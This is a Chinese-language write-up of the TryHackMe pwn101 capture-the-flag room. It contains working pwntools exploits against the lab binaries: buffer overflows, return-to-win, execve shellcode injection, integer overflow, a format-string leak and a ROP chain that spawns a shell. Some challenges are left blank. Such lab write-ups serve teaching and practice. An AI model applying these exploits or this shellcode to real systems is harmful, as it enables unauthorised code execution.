---
# System prepended metadata

title: tryhackme pwn101
tags: [pwn101, tryhackme pwn101, tryhackme, pwn, chengyunpu]

---

:::info
[題目來源](https://tryhackme.com/r/room/pwn101)
:::

:::spoiler dir
[toc] 
:::

# Challenge 1 - pwn101
## Buffer overflow

**思路**
用r2 打開檔案發現題目變數var_4h初始設為```0x539```，在變數var_4h不是```0x539```時跳到```0x8f9```這個func也又是有開```/bin/sh```可以跳到這裡代表可以能到shell
![image](https://hackmd.io/_uploads/B1AqRBquC.png)
透過觀察發現發現可以讓user輸入的s為```rbp-0x40```，var_4h為```rbp-0x4```因此可得知只要把```rbp-0x40```這一段蓋掉，```rbp-0x4```這段塞入非```0x539```的數值即可pwn

**payload**
```python
from pwn import *
ip='10.10.101.156'
port=9001
r=remote(ip,port)

r.sendline(b'a'*0x40)
r.interactive()
```
![image](https://hackmd.io/_uploads/HyIlQIquR.png)

---

# Challenge 2 - pwn102
## Modify variable's value
**思路**
用r2打開題意為變數var_4h初始為```0xbadf00d```、var_8h為```0xfee1dead```，但是第一層必須要var_4h等於```0xc0ff33```才能跳到```0x962```也就是往走向```/bin/sh```的第二層，在此層必須在滿足var_8h等於```0xc0d3```才能跳到```0x96b```也就是```/bin/sh```所在地
![image](https://hackmd.io/_uploads/B1Uqm85OA.png)
先把```0x70~0x8```填完，之後在```0x8~0x4```填入```0xc0d3```，```0x4~rbp```填入```0xc0ff33```即可pwn
**payload**
```python
from pwn import *
ip='10.10.101.156'
port=9002
r=remote(ip,port)

r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()
```
![image](https://hackmd.io/_uploads/Bk9qII5OA.png)

---

# Challenge 3 - pwn103
## Return to win
**思路**
打開IDA free(原本用IDA pro看完全跨毋，加上親自實測程式運行，可以發現程式執行會有5個選項可以選其中選擇第三個選項時可以輸入，搭配IDA 看code 發現可以pwn的地方``` __isoc99_scanf("%s", s1);```其中輸入的s1為```char s1[32]; // [rsp+0h] [rbp-20h] BYREF```，在IDA中有一個func是```admins_only```打開來看有```/bin/sh```

>**IDA**
>main function
> ```c
> int __fastcall main(int argc, const char **argv, const char **envp)
> {
> const char **v3; // rdx
> int result; // eax
> int v5; // [rsp+Ch] [rbp-4h] BYREF
> 
> setup(argc, argv, envp);
> banner();
> puts(&byte_403298);
> puts(a1_0);
> puts(&byte_403298);
> printf(&byte_403323);
> __isoc99_scanf(&unk_403340, &v5);
> switch ( v5 )
> {
> case 1:
> result = announcements();
> break;
> case 2:
> result = rules();
> break;
> case 3:
> result = general();
> break;
> case 4:
> result = discussion();
> break;
> case 5:
> result = bot_cmd();
> break;
> default:
> result = main((int)&unk_403340, (const char **)&v5, v3);
> break;
> }
> return result;
> }
> ```
> general() function
> ```c
> int general()
> {
>   const char **v0; // rdx
>   char s1[32]; // [rsp+0h] [rbp-20h] BYREF
> 
>   puts(asc_4023AA);
>   puts(aJopraveenHello);
>   puts(aJopraveenHopeY);
>   puts(aJopraveenYouFo);
>   printf("------[pwner]: ");
>   __isoc99_scanf("%s", s1);
>   if ( strcmp(s1, "yes") )
>     return puts(aTryHarder);
>   puts(aJopraveenGg);
>   return main((int)aJopraveenGg, (const char **)"yes", v0);
> }
> ```
> admins_only
> ```c
> int admins_only()
> {
>   puts(asc_403267);
>   puts(aWelcomeAdmin);
>   return system("/bin/sh");
> }
> ```
主要要把ret addr 換成admins_only的位置因此先把general()的```0x20```蓋掉接著再蓋掉0x8的rbp，填入admins_only的位置，在這填的是```0x401555```而不是第一個```0x401554```因為在第一個位置還有```push rbp```因此選擇```push rbp```之後的位置
![image](https://hackmd.io/_uploads/B1-_So5_C.png)

**payload**
```python
from pwn import *
#r=process('./pwn103-1644300337872.pwn103')
ip='10.10.100.188'
port=9003
r=remote(ip,port)

r.sendline(b'3')
r.sendline(b'a'*0x28 + p64(0x401555))
r.interactive()

```

![image](https://hackmd.io/_uploads/H1v-YAnOC.png)


---

# Challenge 4 - pwn104
## Return to shellcode
**思路**
用IDA 打開看buf這個陣列大小為80但是可以輸入的值為200明顯可以bof。
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  setup(argc, argv, envp);
  banner();
  puts(aIThinkIHaveSom);
  puts(aEspeciallyExec);
  puts(aCanWeGoForAFig);
  printf("I'm waiting for you at %p\n", buf);
  return read(0, buf, 0xC8uLL);
}
```
先塞入[shellcode](https://www.exploit-db.com/exploits/51834)接著在80個把buf填滿，在填8個把rbp蓋過去，因為前面有填入shellcode要把這一段的長度拿掉不算，所以實際填入的total要是```88-len(shellcode)```，接著在填上連上題目就會給你的ret addres

**payload**
```python
from pwn import *
ip='10.10.106.113'
port=9004
r=remote(ip,port)

r.recvlines(9)
addres=int(r.recv().decode().split(' ')[-1],16)
shellcode=b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
r.sendline(shellcode + b'a'*(88-len(shellcode))+p64(addres))
r.interactive()
```
![image](https://hackmd.io/_uploads/Bk2DO0hdA.png)




---

# Challenge 5 - pwn105
## Integer Overflow
**思路**
必須滿足題目```(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 ```才能有機會跳到```/bin/sh```意思是v5、v6必須要是小於```0x80000000```也就是小於等於C裡面int最大值2147483647，但是要需要v5+v6也就是v7大於等於```0x80000000```才會```(v7 & 0x80000000) != 0```
```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v6; // [rsp+10h] [rbp-10h] BYREF
  unsigned int v7; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  puts("-------=[ BAD INTEGERS ]=-------");
  puts("|-< Enter two numbers to add >-|\n");
  printf("]>> ");
  __isoc99_scanf("%d", &v5);
  printf("]>> ");
  __isoc99_scanf("%d", &v6);
  v7 = v5 + v6;
  if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 )
  {
    printf("\n[o.O] Hmmm... that was a Good try!\n");
  }
  else if ( (v7 & 0x80000000) != 0 )
  {
    printf("\n[*] C: %d", v7);
    puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
    system("/bin/sh");
  }
  else
  {
    printf("\n[*] ADDING %d + %d", v5, v6);
    printf("\n[*] RESULT: %d\n", v7);
  }
  return v8 - __readfsqword(0x28u);
}
```
v5填2147483647、v6填1，讓v5+v6(v7)大於int最大值，pwn!

**payload**
```python
from pwn import *
ip='10.10.12.233'
port=9005
r=remote(ip,port)

r.recvlines(9)
r.sendlineafter(']>>',b'2147483647')
r.sendlineafter(']>>',b'1')
r.interactive()
```
![image](https://hackmd.io/_uploads/Bko2v03O0.png)

---

# Challenge 6 - pwn106
## Format string exploit
**思路**
用GDB R2搭配，發現`%6$p`會撈到flag 的第一段，依此類推慢慢撈下去
(第一次自己寫fmt的payload花了有點久，之前都是直接丟到網站直接convert好)
**payload**

```python
from pwn import *

r=remote('10.10.125.41',9006)
#r = process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user')
r.recvlines(7)


r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p")

r.recvline()
response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',')

for i in range(7):
    print(bytes.fromhex(response[i]).decode()[::-1],end='')
print()
r.close()
```

![image](https://hackmd.io/_uploads/SJVaFetq0.png)

---

# Challenge 7 - pwn107
## Bypassing mitigations 
**思路**


**payload**

---

# Challenge 8 - pwn108
## GOT overwrite
**思路**


**payload**

---

# Challenge 9 - pwn109
## Return to PLT
**思路**


**payload**

---

# Challenge 10 - pwn110
## Playing with ROP
**思路**

可以看到`var_20h`這個變數要蓋，之後再慢慢的去找 ROPgadget串syscall，

![image](https://hackmd.io/_uploads/B1uMgQY4Jx.png)


| NR  | SYSCALL NAME | references | RAX | ARG0 (rdi)            | ARG1 (rsi)                        | ARG2 (rdx)                        | ARG3 (r10) | ARG4 (r8) | ARG5 (r9) |
|-----|--------------|------------|-----|-----------------------|-----------------------------------|-----------------------------------|------------|-----------|-----------|
| 59  | execve       | man/ cs/   | 3B  | const char *filename  | const char *const *argv          | const char *const *envp          | -          | -         | -         |


根據上面表格一個一個串
```bash
#pop rax
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rax ; ret"
0x00000000004497d7 : pop rax ; ret
```

```bash
#pop rdi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdi ; ret"
0x000000000040191a : pop rdi ; ret
```

```bash
#pop rsi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rsi ; ret"
0x000000000045b246 : or byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000040f4de : pop rsi ; ret
```

```bash
#pop rdx
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdx ; ret"
0x000000000040181b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181d : add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401817 : fst dword ptr [rdi] ; or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401819 : or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181f : pop rdx ; ret
0x0000000000472f42 : pop rdx ; retf
0x0000000000472f3d : sal byte ptr [rax + riz - 0x75], 0x35 ; pop rdx ; retf
```

```bash
# find data addres
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ readelf -S pwn110-1644300525386.pwn110 | grep "\.data"
  [18] .data.rel.ro      PROGBITS         00000000004bd100  000bc100
  [21] .data             PROGBITS         00000000004c00e0  000bf0e0
```

```bash
#將寄存器 rdx 中的值寫入 rdi 指向的記憶體位置
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "mov qword ptr \[
rdi\]"
省略
0x00000000004340a3 : mov qword ptr [rdi], rdx ; ret
省略
```
```bash
#最後去尋找執行整個ROPchain 的syscall
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep syscall
省略
0x00000000004012d3 : syscall
省略
```
都找好位置後按造syscall table 的要求

1.    b'a'*0x28 +  # 用來填充緩衝區，直到覆蓋返回地址
1.    p64(pop_rdx) +  # ROP gadget: 將 RDX 寄存器設置為指向 "/bin/sh\x00"
1.    b'/bin/sh\x00' +  # 實際的字串 "/bin/sh"，用來開啟 shell
1.    p64(pop_rdi) +  # ROP gadget: 將 RDI 寄存器設置為目標地址
1.    p64(data_addr) +  # 目標地址：將 "/bin/sh" 存放在此地址
1.    p64(mov_rdx_to_rdi) +  # ROP gadget: 將 RDX 的值（即 "/bin/sh"）移動到 RDI
1.    p64(pop_rsi) +  # ROP gadget: 設置 RSI 寄存器
1.    p64(0) +  # execve() 的第二個參數：NULL
1.    p64(pop_rdx) +  # 再次設置 RDX 寄存器
1.    p64(0) +  # execve() 的第三個參數：NULL
1.    p64(pop_rax) +  # ROP gadget: 設置 RAX 寄存器，指定系統呼叫號
1.    p64(59) +  # 系統呼叫號 59：execve()
1.    p64(syscall_addr)  # ROP gadget: 觸發 syscall，執行系統呼叫


**payload**
```python
from pwn import *

r=remote('10.10.162.17',9010)

pop_rdi=0x40191a
pop_rax=0x4497d7
pop_rsi=0x40f4de
pop_rdx=0x40181f
data_addr=0x4c00e0
mov_rdx_to_rdi=0x4340a3
syscall_addr=0x4012d3


r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr))


r.interactive()
```